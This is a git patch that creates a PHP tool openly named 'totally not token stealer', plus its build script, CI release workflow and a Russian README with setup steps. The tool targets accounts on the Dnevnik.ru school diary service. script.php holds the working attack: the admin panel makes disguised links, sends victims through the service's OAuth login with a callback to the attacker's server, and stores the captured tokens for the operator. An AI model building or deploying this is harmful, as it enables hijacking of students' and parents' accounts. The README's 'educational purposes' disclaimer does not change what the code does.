From ce0d14bd77acf2345554637585cf38eb2f134c80 Mon Sep 17 00:00:00 2001 From: katamaz Date: Thu, 28 May 2026 15:03:31 +0300 Subject: [PATCH] initial --- .github/workflows/build.yml | 37 +++ .gitignore | 2 + README.md | 34 ++ builder.js | 94 ++++++ dev/html/callback.html | 24 ++ dev/html/control.html | 611 ++++++++++++++++++++++++++++++++++++ dev/html/login.html | 249 +++++++++++++++ dev/html/logos.html | 243 ++++++++++++++ script.php | 243 ++++++++++++++ 9 files changed, 1537 insertions(+) create mode 100644 .github/workflows/build.yml create mode 100644 .gitignore create mode 100644 README.md create mode 100644 builder.js create mode 100644 dev/html/callback.html create mode 100644 dev/html/control.html create mode 100644 dev/html/login.html create mode 100644 dev/html/logos.html create mode 100644 script.php diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 0000000..9adf754 --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,37 @@ +name: Build and Release + +on: + push: + branches: + - main + +jobs: + build-and-release: + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Set up Bun + uses: oven-sh/setup-bun@v2 + with: + bun-version: latest + + - name: Run builder + run: bun run builder.js + + - name: Rename output + run: mv output.php totallynottokenstealer.php + + - name: Generate release tag + id: tag + run: echo "tag=release-$(date +'%Y%m%d%H%M%S')" >> $GITHUB_OUTPUT + + - name: Create release with artifact + uses: actions/gitea-release-action@v1 + with: + token: ${{ secrets.GITHUB_TOKEN }} + tag_name: ${{ steps.tag.outputs.tag }} + release_name: "Release ${{ steps.tag.outputs.tag }}" + files: totallynottokenstealer.php \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..82e6870 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +totallynotstealeddata.* +output.php diff --git a/README.md b/README.md new file mode 100644 index 0000000..14079f0 --- /dev/null +++ b/README.md @@ -0,0 +1,34 @@ +![header](https://assets.ktkz.ru/tnts/h.png) + +# totally not token stealer + +## утилита **для сокращения ссылок** чтобы **НЕ** красть токены с дневника ру + +--- + +## КАК **НЕ** УСТАНОВИТЬ + +1. скачай `totallynottokenstealer.php` с Releases +2. выгрузи файл на любой php-хостинг +3. переименуй как душе угодно _(главное оставь расширение `.php`)_ +4. поменяй пароль от панели в `PANEL_PASSWORD` +5. **готово!** панель открывается при помощи `?control` в url (по типу `example.com/example.php?control`) + +--- + +![screenshoot](https://assets.ktkz.ru/tnts/s.png) + +--- + +## КАК **НЕ** БИЛДИТЬ + +- используй `node ./builder.js` или какой раннер js вы там юзаете + - для **DEV** режима `node ./bulder.js --dev` +- дальше можно запустить встроеный `php -S localhost:8080` или что вам там нужно + +--- + +> [!CAUTION] +> Я **НЕ НЕСУ ОТВЕТСТВЕННОСТИ** ЗА ТО, КАК ВЫ БУДЕТЕ ИСПОЛЬЗОВАТЬ ЭТО ПО. +> ОНО БЫЛО СОЗДАННО ИСКЛЮЧИТЕЛЬНО **В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ**, И ДЕМОНСТРИРУЕТ ОТСУТСТВИЕ ЗАЩИТЫ ДНЕВНИКА.РУ. +> **НЕ ЗЛОУПОТРЕБЛЯЙТЕ ИМ!!** diff --git a/builder.js b/builder.js new file mode 100644 index 0000000..baf4663 --- /dev/null +++ b/builder.js @@ -0,0 +1,94 @@ +// ai slop + +import fs from "node:fs"; +import path from "node:path"; + +const DEV = process.argv.includes("--dev"); + +const escape = (str) => + str + .replace(/\s+/g, " ") + .trim() + .replace(/"/g, '\\"') + .replace(/\$/g, "\\$"); + +function build() { + const data = fs.readFileSync("./script.php", "utf8"); + const mountRegex = /"<.*?)\)>>"/gm; + const mountedFiles = new Set(); + + const result = data.replace(mountRegex, (_match, file) => { + let fileContent = fs.readFileSync(file, "utf8"); + mountedFiles.add(path.resolve(file)); + + const inlinePhpVarRegex = /"<.*?)\)>>"/g; + const vars = []; + let varMatch; + while ((varMatch = inlinePhpVarRegex.exec(fileContent)) !== null) { + vars.push({ + escapedPlaceholder: escape(varMatch[0]), + varName: varMatch.groups.varName, + }); + } + + fileContent = escape(fileContent); + + for (const { escapedPlaceholder, varName } of vars) { + fileContent = fileContent.replace( + escapedPlaceholder, + `" . ${varName} . "` + ); + } + + return `"${fileContent}"`; + }); + + fs.writeFileSync("./output.php", result, "utf8"); + console.log(`[${new Date().toLocaleTimeString()}] Built output.php`); + + return mountedFiles; +} + +// Run once immediately +let watchedFiles = build(); + +if (DEV) { + const watchers = new Map(); // path → FSWatcher + + function watchFile(file) { + if (watchers.has(file)) return; + const watcher = fs.watch(file, () => { + console.log(`[${new Date().toLocaleTimeString()}] Changed: ${path.relative(".", file)}`); + rebuild(); + }); + watchers.set(file, watcher); + } + + function syncWatchers(current) { + // Watch any newly mounted files + for (const file of current) watchFile(file); + + // Stop watching files that are no longer mounted + for (const [file, watcher] of watchers) { + if (!current.has(file) && file !== path.resolve("./script.php")) { + watcher.close(); + watchers.delete(file); + } + } + } + + function rebuild() { + try { + watchedFiles = build(); + syncWatchers(watchedFiles); + } catch (err) { + console.error("Build error:", err.message); + } + } + + // Always watch the entry file + watchFile(path.resolve("./script.php")); + syncWatchers(watchedFiles); + + console.log("Watching for changes… (Ctrl+C to stop)"); +} \ No newline at end of file diff --git a/dev/html/callback.html b/dev/html/callback.html new file mode 100644 index 0000000..7b31521 --- /dev/null +++ b/dev/html/callback.html @@ -0,0 +1,24 @@ + + + + + + + diff --git a/dev/html/control.html b/dev/html/control.html new file mode 100644 index 0000000..c5267a4 --- /dev/null +++ b/dev/html/control.html @@ -0,0 +1,611 @@ + + + + + + + control + + + + + + +
+ +
+
+

+ {{error}} +

+
+
+ + {{name}} + {{comment}} + {{url}} + +
+
+ + link +
+
+ +
+
+
+
+
+
+ + {{name}} + {{token}} + {{comment}} + {{url}} + +
+
+ + token +
+
+ + link +
+
+ +
+
+
+
+
+ +
+
+
+
+ + + +
+ totally not token stealer + +
+ +
+
+
+ +
+ + + + + + +
+ +
+
+
+ + +
+ +
+ + + + + + + + + + + + + + + +
namecommenturl
no active entries
+
+
+
+ +
+ + + + + + + + + + + + + + + +
nametokencommenturl
no completed entries
+
+
+
+
+
+ + + + + + + diff --git a/dev/html/login.html b/dev/html/login.html new file mode 100644 index 0000000..c4056cb --- /dev/null +++ b/dev/html/login.html @@ -0,0 +1,249 @@ + + + + + + + Document + + + +
+

{{error}}

+
+ +
+
+
+
+ + + +
+ totally not token stealer + +
+
+

login

+
+
+ + + +
+
+
+ + + + + + diff --git a/dev/html/logos.html b/dev/html/logos.html new file mode 100644 index 0000000..4aa43cb --- /dev/null +++ b/dev/html/logos.html @@ -0,0 +1,243 @@ + + + + + + + Document + + + +
+

{{error}}

+
+ +
+
+
+
+ + + +
+ +
+
+ totally not token stealer + +
+
+ + + + + + diff --git a/script.php b/script.php new file mode 100644 index 0000000..aa34ab5 --- /dev/null +++ b/script.php @@ -0,0 +1,243 @@ +>"; +} +function CONTROL_PAGE(string $data) +{ + return "<>"; +} +// =========== + +// PREPARATION +if (!file_exists(DATA_FILE_PATH)) { + file_put_contents( + DATA_FILE_PATH, + ' 0 && array_keys($_GET)[0] == $p; +} + +if (path("control")) { + if (!isset($_GET["l"]) || $_GET["l"] == "") { + echo LOGIN_PAGE("{}"); + exit(); + } + if ($_GET["l"] != PANEL_PASSWORD) { + echo LOGIN_PAGE('{error: "wrong password"}'); + exit(); + } + // user authorized + if (!in_array("do", array_keys($_GET))) { + $config = readConfig(); + $error = ""; + if (isset($_GET["error"])) { + $error = $_GET["error"]; + } + echo CONTROL_PAGE( + json_encode([ + "password" => $_GET["l"], + "data" => $config, + "error" => $error, + ]), + ); + exit(); + } +} + +function readConfig() +{ + $_ = json_decode( + str_replace(" "tnts", "version" => 1, "data" => $config]; + file_put_contents(DATA_FILE_PATH, " isset($item["name"]) && $item["name"] === $name, + ), + ); + if (count($matches) != 0) { + header( + "Location: " . + parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH) . + "?control&l=" . + $_GET["l"] . + "&error=" . + urlencode("url already exists"), + true, + 302, + ); + exit(); + } + $config[] = [ + "name" => $name, + "url" => $url, + "comment" => $comment, + "token" => null, + ]; + + saveConfig($config); + header( + "Location: " . + parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH) . + "?control&l=" . + $_GET["l"], + true, + 302, + ); +} + +if (isset($_GET["do"]) && $_GET["do"] === "delete" && isset($_GET["delete"])) { + if (!isset($_GET["l"]) || $_GET["l"] == "" || $_GET["l"] != PANEL_PASSWORD) { + exit(); + } + $name = $_GET["delete"]; + $config = readConfig(); + $config = array_filter( + $config, + fn($item) => isset($item["name"]) && $item["name"] != $name, + ); + saveConfig($config); + header( + "Location: " . + parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH) . + "?control&l=" . + $_GET["l"], + true, + 302, + ); + exit(); +} + +function getBaseUrl(): string +{ + $scheme = + !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" ? "https" : "http"; + $host = $_SERVER["HTTP_HOST"] ?? ($_SERVER["SERVER_NAME"] ?? ""); + $script = $_SERVER["SCRIPT_NAME"] ?? ($_SERVER["PHP_SELF"] ?? ""); + return $scheme . "://" . $host . $script; +} + +if (isset($_GET["go"])) { + $config = readConfig(); + $matches = array_values( + array_filter( + $config, + fn($item) => isset($item["name"]) && $item["name"] == $_GET["go"], + ), + ); + if (count($matches) == 0) { + exit(); + } + $goUrl = getBaseUrl() . "?callback&name=" . $_GET["go"]; + $redirect = AUTH_URL . rawurlencode(OAUTH_URL . rawurlencode($goUrl)); + header("Location: " . $redirect, true, 302); + exit(); +} + +if (path("info")) { + header("Content-type: application/json"); + echo json_encode([ + "name" => "totally not token stealer", + "version" => "1.0.0", + "author" => "ktkz", + ]); +} + +if (path("callback") && isset($_GET["name"])) { + $base = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH); + $config = readConfig(); + $matches = array_values( + array_filter( + $config, + fn($item) => isset($item["name"]) && $item["name"] == $_GET["name"], + ), + ); + if (count($matches) == 0) { + exit(); + } + + $send_url = $base . "?send&name=" . $_GET["name"]; + $redirect_url = $matches[0]["url"]; + + echo "<>"; + exit(); +} + +if (path("send") && isset($_GET["name"]) && isset($_GET["token"])) { + $config = readConfig(); + $matches = array_values( + array_filter( + $config, + fn($item) => isset($item["name"]) && $item["name"] == $_GET["name"], + ), + ); + if (count($matches) == 0) { + exit(); + } + + $config[array_search($matches[0], $config)]["token"] = $_GET["token"]; + saveConfig($config); +}